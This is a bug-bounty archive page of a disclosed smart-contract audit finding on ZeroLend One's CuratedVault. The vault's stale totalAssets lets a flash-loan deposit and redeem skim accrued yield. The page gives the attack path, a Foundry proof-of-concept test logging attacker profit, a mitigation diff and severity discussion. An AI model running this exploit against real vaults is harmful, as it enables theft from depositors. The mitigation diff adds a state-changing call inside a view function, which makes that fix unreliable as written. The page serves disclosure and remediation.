Skip to content
Business logic Audit finding Intermediate

An attacker can hijack the `CuratedVault`'s matured yield

The vault's totalAssets function does not update the pool's liquidityIndex, so when an attacker deposits after yield has accrued, they receive shares based on the stale total assets and can redeem them to capture a portion of the matured yield. An attacker can use a flash loan to deposit and redeem in the same transaction, profiting at the expense of existing vault users.

0xAlix2 Follow with 0xc0ffEE, A2-security and 9 others

Originally disclosed on Sherlock

Source: https://github.com/sherlock-audit/2024-06-new-scope-judging/issues/199

Found by

0xAlix2, 0xc0ffEE, A2-security, JCN, Obsidian, TessKimy, Varun_05, dhank, ether_sky, iamnmt, trachev, zarkk01

Summary

CuratedVault#totalAssets does not update pool's liquidityIndex at the beginning will cause the matured yield to be distributed to users that do not supply to the vault before the yield accrues. An attacker can exploit this to hijack the CuratedVault's matured yield.

Root Cause

CuratedVault#totalAssets does not update pool's liquidityIndex at the beginning

https://github.com/sherlock-audit/2024-06-new-scope/blob/c8300e73f4d751796daad3dadbae4d11072b3d79/zerolend-one/contracts/core/vaults/CuratedVault.sol#L368-L372

Solidity
  function totalAssets() public view override returns (uint256 assets) {
    for (uint256 i; i < withdrawQueue.length; ++i) {
      assets += withdrawQueue[i].getBalanceByPosition(asset(), positionId);
    }
  }

Internal pre-conditions

No response

External pre-conditions

No response

Attack Path

Let's have:

  • A vault has a total assets of totalAssets
  • X amount of yield is accrued from T1 to T2
  1. The attacker takes a flash loan of flashLoanAmount
  2. The attacker deposits flashLoanAmount at T2 to the vault. Since CuratedVault#totalAssets does not update pool's liquidityIndex, the minted shares are calculated based on the total assets at T1.
  3. The attacker redeems all the shares and benefits from X amount of yield.
  4. The attacker repays the flash loan.

The cost of this attack is gas fee and flash loan fee.

Impact

The attacker hijacks flashLoanAmount / (flashLoanAmount + totalAssets) percentage of X amount of yield.

X could be a considerable amount when:

  • The pool has high interest rate.
  • T2 - T1 is large. This is the case for the pool with low interactions.

When X is a considerable amount, the amount of hijacked funds could be greater than the cost of the attack, then the attacker will benefit from the attack.

PoC

Due to a bug in PositionBalanceConfiguration#getSupplyBalance that we submitted in a different issue, fix the getSupplyBalance function before running the PoC

core/pool/configuration/PositionBalanceConfiguration.sol

Diff
library PositionBalanceConfiguration {
  function getSupplyBalance(DataTypes.PositionBalance storage self, uint256 index) public view returns (uint256 supply) {
-   uint256 increase = self.supplyShares.rayMul(index) - self.supplyShares.rayMul(self.lastSupplyLiquidtyIndex);
-   return self.supplyShares + increase;
+   return self.supplyShares.rayMul(index);
  }
}

Run command: forge test --match-path test/PoC/PoC.t.sol

Solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import {console} from 'lib/forge-std/src/Test.sol';
import '../forge/core/vaults/helpers/IntegrationVaultTest.sol';

contract ERC4626Test is IntegrationVaultTest {
  address attacker = makeAddr('attacker');

  function setUp() public {
    _setUpVault();
    _setCap(allMarkets[0], CAP);
    _sortSupplyQueueIdleLast();

    oracleB.updateRoundTimestamp();
    oracle.updateRoundTimestamp();

    uint256 vaultAssets = 10 ether;

    loanToken.mint(supplier, vaultAssets);
    vm.prank(supplier);
    vault.deposit(vaultAssets, supplier);
    
    vm.prank(attacker);
    loanToken.approve(address(vault), type(uint256).max);
  }

  function testDeposit() public {
    collateralToken.mint(borrower, type(uint128).max);

    vm.startPrank(borrower);
    allMarkets[0].supplySimple(address(collateralToken), borrower, type(uint128).max, 0);
    allMarkets[0].borrowSimple(address(loanToken), borrower, 8 ether, 0);

    skip(100 days);

    oracleB.updateRoundTimestamp();
    oracle.updateRoundTimestamp();

    uint256 vaultAssetsBefore = vault.totalAssets();

    console.log("Vault's assets before updating reserve: %e", vaultAssetsBefore);

    uint256 snapshot = vm.snapshot();

    allMarkets[0].forceUpdateReserve(address(loanToken));
    console.log("Vault's accrued yield: %e", vault.totalAssets() - vaultAssetsBefore);

    vm.revertTo(snapshot);

    uint256 flashLoanAmount = 100 ether;

    loanToken.mint(attacker, flashLoanAmount);

    vm.startPrank(attacker);
    uint256 shares = vault.deposit(flashLoanAmount, attacker);
    vault.redeem(shares, attacker, attacker);
    vm.stopPrank();

    console.log("Attacker's profit: %e", loanToken.balanceOf(attacker) - flashLoanAmount);
  }
}

Logs:

Bash
  Vault's assets before updating reserve: 1e19
  Vault's accrued yield: 5.62832773326440941e17
  Attacker's profit: 5.11666157569491763e17

Although the yield accrued, the vault's assets before updating reserve is still 1e19.

Mitigation

Update pool's liquidityIndex at the beginning of CuratedVault#totalAssets

Diff
  function totalAssets() public view override returns (uint256 assets) {
    for (uint256 i; i < withdrawQueue.length; ++i) {
+     withdrawQueue[i].forceUpdateReserve(asset());
      assets += withdrawQueue[i].getBalanceByPosition(asset(), positionId);
    }
  }

Discussion

DemoreXTess

Escalate

This should be classified as high severity. Due to the outdated totalAssets, all actions that rely on totalAssets, such as supplying assets, will result in a loss of funds. The minted shares will be incorrect whenever a user supplies assets to the vault. This not only exposes the protocol to flash loan attacks but also causes a direct loss of funds for users. Therefore, the severity of the issue should be high.

sherlock-admin3

Escalate

This should be classified as high severity. Due to the outdated totalAssets, all actions that rely on totalAssets, such as supplying assets, will result in a loss of funds. The minted shares will be incorrect whenever a user supplies assets to the vault. This not only exposes the protocol to flash loan attacks but also causes a direct loss of funds for users. Therefore, the severity of the issue should be high.

You've created a valid escalation!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

cvetanovv

I agree that this issue meets the requirements for High severity:

Definite loss of funds without (extensive) limitations of external conditions. The loss of the affected party must exceed 1%.

Due to the stale totalAssets data, all actions that depend on this function can result in user losses without requiring any external conditions to be met.

Planning to accept the escalation and make this issue High severity.

WangSecurity

Result: High Has duplicates

sherlock-admin4

Escalations have been resolved successfully!

Escalation status:

The original report as published on Sherlock, by 0xAlix2. Images and videos are our own copies; raw HTML is shown as text. View it on Sherlock.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely, the totalAssets function reads the pool balance without first updating the pool's liquidityIndex, so it returns a stale value that does not include accrued yield.

Impact

The attacker could hijack a percentage of the accrued yield, and the profit may exceed the cost of the attack when the yield is large.

What the attacker needed

Ability to take a flash loan; Yield has accrued in the vault; Attacker can deposit and redeem in one transaction

The fix

The totalAssets function should update the pool's liquidityIndex before reading the balance, for example by calling forceUpdateReserve on each pool in the withdraw queue.

How it was found

  1. The attacker takes a flash loan of a large amount.
  2. The attacker deposits the flash loan into the vault at a time after yield has accrued.
  3. Because totalAssets is stale, the attacker receives more shares than they should.
  4. The attacker redeems all shares and receives a portion of the accrued yield.
  5. The attacker repays the flash loan.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A vault is a shared pot where people deposit money and earn interest. The vault calculates how many shares you get based on the total money it holds, but it forgot to update that total after interest was earned. So someone can quickly deposit a large borrowed sum, get shares as if the interest never happened, then immediately withdraw and walk away with a slice of the interest that belonged to the earlier depositors.

What is Business logic?

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.

More by 0xAlix2

View all

39 more disclosed reports, best first.

More from ZeroLend One

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Business logic flaws

The lesson behind this report.

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.